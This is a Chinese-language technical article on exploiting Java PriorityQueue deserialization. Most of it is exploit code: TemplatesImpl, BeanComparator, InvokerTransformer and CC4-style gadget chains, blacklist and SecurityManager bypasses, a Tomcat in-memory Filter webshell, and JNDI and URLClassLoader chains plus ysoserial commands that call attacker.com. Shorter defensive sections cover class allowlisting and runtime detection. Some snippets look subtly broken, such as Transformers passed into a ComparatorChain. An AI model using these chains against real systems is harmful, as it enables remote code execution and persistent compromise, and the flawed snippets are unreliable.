Java PriorityQueue的深度利用技巧
字数 932 2025-08-29 08:29:59
Java PriorityQueue反序列化漏洞深度分析与防御指南
一、PriorityQueue反序列化漏洞核心原理
PriorityQueue在反序列化时会触发heapify()方法重建堆结构,通过siftDown()方法调用Comparator.compare()或元素的compareTo()方法。这是构造反序列化攻击链的关键切入点。
1. 基础攻击链构造(结合TemplatesImpl)
// 生成恶意字节码
public static class EvilClass {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}
byte[] evilCode = ClassPool.getDefault().makeClass(EvilClass.class).toBytecode();
// 构造TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "Exploit");
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_tfactory", null);
// 构造比较器链
Comparator comparator = new Comparator() {
public int compare(Object o1, Object o2) {
try {
templates.newTransformer(); // 触发静态代码块
} catch (Exception e) {}
return 0;
}
};
// 构造恶意PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(1);
// 序列化payload
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(queue);
byte[] payload = bos.toByteArray();
// 反序列化触发
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();
二、绕过技巧
1. 结合BeanComparator(commons-beanutils)
// 构造属性比较链
BeanComparator comparator = new BeanComparator("outputProperties");
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
// 设置触发对象
queue.add(templates);
queue.add(templates);
// 序列化后触发流程:
// 1. PriorityQueue反序列化触发排序
// 2. BeanComparator调用getOutputProperties()
// 3. 触发TemplatesImpl.newTransformer()
2. JDK高版本绕过(jdk >= 8u71)
// 使用ToStringComparator(commons-collections4)
Comparator comparator = new TransformedComparator(
new InvokerTransformer("toString", null, null),
new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(templates); // 对象需实现Comparable
queue.add(templates);
// 触发流程:
// compare() → toString() → getOutputProperties()
三、内存马注入技巧
1. Tomcat Filter型内存马
// 构造恶意Filter注入链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"org.apache.catalina.core.ApplicationFilterConfig"}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getFilter", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("setFilter", new Class[]{Filter.class}, new Object[]{new EvilFilter()})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator(chain));
四、防御对抗技术
1. 黑名单检测绕过
// 使用非标准Transformer组合
Comparator comparator = new ComparatorChain(Arrays.asList(
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
));
2. 反射绕过SecurityManager
// 通过Unsafe修改访问权限
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
// 强制修改Comparator字段
Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
long offset = unsafe.objectFieldOffset(comparatorField);
unsafe.putObject(queue, offset, maliciousComparator);
五、检测与防御方案
1. 安全反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED_CLASSES = Set.of("java.util.PriorityQueue", "java.lang.Integer");
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized class: ", desc.getName());
}
return super.resolveClass(desc);
}
}
// 使用方式
try (ObjectInputStream ois = new SafeObjectInputStream(inputStream)) {
ois.readObject();
}
2. 运行时检测(RASP)
// 使用Java Agent检测PriorityQueue反序列化
public class PriorityQueueAgent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined, protectionDomain, classfileBuffer) -> {
if ("java/util/PriorityQueue".equals(className)) {
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
cr.accept(new ClassVisitor(ASM9, cw) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if ("readObject".equals(name)) {
return new MethodVisitor(ASM9, mv) {
@Override
public void visitCode() {
mv.visitMethodInsn(INVOKESTATIC, "SecurityMonitor", "checkDeserialization", "()V");
super.visitCode();
}
};
}
return mv;
}
}, 0);
return cw.toByteArray();
}
return classfileBuffer;
});
}
}
六、漏洞验证与利用
1. 使用ysoserial生成payload
# 生成CommonsCollections2的PriorityQueue payload
java -jar ysoserial.jar CommonsCollections2 "curl http://attacker.com" > payload.bin
# 发送到目标服务
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize-endpoint
2. 手工构造检测
// 检测PriorityQueue使用情况
Pattern.compile("new PriorityQueue\\s*\\(\\s*\\d+\\s*,\\s*.*Comparator")
.matcher(sourceCode)
.find();
七、高级利用技巧
1. 基于InstantiateTransformer的类实例化攻击(CC4链变种)
// 构造TemplatesImpl对象(存储恶意字节码)
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "Exploit");
setField(templates, "_bytecodes", new byte[][]{evilCode});
// 使用InstantiateTransformer触发构造函数
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 目标类
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates} // 参数传入恶意模板
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 构造PriorityQueue触发链
PriorityQueue<Object> queue = new PriorityQueue<>(
2, new TransformingComparator(chain));
queue.add(1);
queue.add(2);
2. ExtractorComparator + FilterExtractor绕过黑名单(WebLogic场景)
// 构造JNDI注入链
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://attacker.com/Exploit");
// 使用FilterExtractor替代LockVersionExtractor
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setGetMethodName("getDatabaseMetaData");
FilterExtractor extractor = new FilterExtractor(accessor, "UnicodeSec");
// 构建PriorityQueue触发比较器
PriorityQueue<Object> queue = new PriorityQueue<>(
2, new ExtractorComparator(extractor));
queue.add(jdbcRowSet);
queue.add(jdbcRowSet);
3. 二次反序列化技术(SignedObject封装)
// 构造基础PriorityQueue链
PriorityQueue<Object> baseQueue = 标准恶意队列;
// 封装到SignedObject中
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(baseQueue, kp.getPrivate(), Signature.getInstance("DSA"));
// 通过二次反序列化触发
HashMap<Object, Object> triggerMap = new HashMap<>();
triggerMap.put(signedObject, "value");
// 序列化后发送,触发流程:
// 1. HashMap反序列化
// 2. 调用SignedObject.getObject()
// 3. 触发内部PriorityQueue的反序列化
4. BeanComparator + TemplatesImpl非反射链
// 构造TemplatesImpl对象
TemplatesImpl templates = 包含恶意字节码;
// 使用BeanComparator触发getOutputProperties()
BeanComparator comparator = new BeanComparator("outputProperties");
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(templates);
queue.add(templates);
// 序列化后触发流程:
// 1. PriorityQueue反序列化触发排序
// 2. BeanComparator调用getOutputProperties()
// 3. 触发TemplatesImpl.newTransformer()
5. ExternalizableLite接口绕过(Coherence协议)
// 构造恶意AttributeHolder对象
AttributeHolder holder = new AttributeHolder();
holder.setValue(evilPriorityQueue); // 封装PriorityQueue链
// 通过Coherence协议传输
ExternalizableHelper.writeObject(outputStream, holder);
// 触发流程:
// 1. 反序列化AttributeHolder时调用readExternal()
// 2. 通过ExternalizableHelper.readObject()二次反序列化PriorityQueue
6. 动态类加载 + URLClassLoader组合攻击
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("newInstance", new Class[]{URL[].class}, new Object[]{new URL[]{new URL("http://attacker.com/")}}),
new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"Exploit"}),
new InvokerTransformer("newInstance", null, null)
};
PriorityQueue<Object> queue = new PriorityQueue<>(
2, new TransformingComparator(new ChainedTransformer(transformers)));
八、防御建议
深度防御策略:
- 使用SerialKiller等安全反序列化库
- 启用SecurityManager并配置严格策略
- 定期更新Coherence、Jackson等组件的安全补丁
运行时监控:
// RASP检测示例
public class DeserializationMonitor {
public static void check(Object obj) {
if (obj instanceof PriorityQueue) {
Comparator<?> comp = ((PriorityQueue<?>)obj).comparator();
if (comp instanceof TransformingComparator) {
throw new SecurityException("Blocked dangerous comparator!");
}
}
}
}
Maven依赖安全配置
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version> <!-- 安全版本 -->
</dependency>
JVM启动参数加固
-Dorg.apache.commons.collections.enableUnsafeSerialization=false
-Dcom.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager=com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager
九、关键审计点
ObjectInputStream.readObject()XMLDecoder.readObject()JSON.parseObject()with@type特性- PriorityQueue构造器中使用自定义Comparator